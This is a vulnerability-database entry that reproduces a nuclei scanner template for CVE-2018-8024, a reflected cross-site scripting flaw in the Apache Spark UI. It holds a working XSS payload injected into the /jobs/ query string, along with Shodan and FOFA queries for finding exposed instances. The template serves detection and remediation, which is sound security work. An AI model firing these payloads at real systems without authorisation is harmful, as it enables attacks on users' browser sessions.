Lucene search
K

Apache Spark UI - Cross-Site Scripting

🗓️ 04 Jun 2026 03:48:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 35 Views

Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query parameters in jobs endpoint.

Related
Refs
Code
id: CVE-2018-8024

info:
  name: Apache Spark UI - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers via crafted query string parameters, potentially stealing session cookies or performing actions on behalf of users.
  remediation: |
    Upgrade to Apache Spark version 2.3.2 or later.
  reference:
    - https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-8024
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8024
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-8024
    cwe-id: CWE-79
    epss-score: 0.61137
    epss-percentile: 0.98339
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query: title:"spark master at"
    fofa-query: title="spark master at"
  tags: cve,cve2018,spark,xss,ui,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>"
      - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/html')"
          - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')"
        condition: and
# digest: 4a0a0047304502202f60a4dda996dc53118ae28aace39165e4a534dbb20fcf9959cc32a2ed3613a3022100e0668db1bfc9e1e1ab98754e3474ca1235b2c5d830cbace23ca59a410a3df626:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 24.9
CVSS 35.4
EPSS0.61137
35